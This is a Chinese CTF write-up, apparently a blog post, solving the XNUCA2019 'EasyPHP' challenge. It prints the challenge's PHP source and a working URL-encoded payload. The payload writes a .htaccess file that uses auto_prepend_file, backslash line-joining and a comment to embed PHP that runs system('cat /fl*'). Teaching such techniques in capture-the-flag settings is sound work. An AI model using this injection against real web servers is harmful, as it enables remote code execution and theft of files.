[XNUCA2019Qualifier]EasyPHP

知识点: .htaccess 利用

代码主要有两个过滤:

一个是文件名:以 a-z 以及 . 开头,这里就很巧妙了,什么文件以点开头,配置文件啊。
另一个就是对文件内容的过滤,基本等于没有,可以用注释和行拼接绕过。

php 的 .htaccess 文件中可以用 # 号注释某行,也可以用 \ 拼接上下两行,那么我们可以直接在 .htaccess 里写 shell,加上 auto_prepend_file 设置把 shell 包含到 index.php 中。

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

payload: 当然要对代码 url 编码一下

?content=php_value auto_prepend_fi\
le .htaccess
#<?php system('cat /fl*');?>\&filename=.htaccess
?content=php_value%20auto_prepend_fi%5C%0Ale%20.htaccess%0A%23%3C%3Fphp%20system('cat%20%2Ffl*')%3B%3F%3E%5C&filename=.htaccess

.htaccess 的各种利用 y4 师傅的文章就写的很详细,其中还有很多解决这道题的方法,这边就不一一列举了。

https://blog.csdn.net/solitudi/article/details/116666720

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值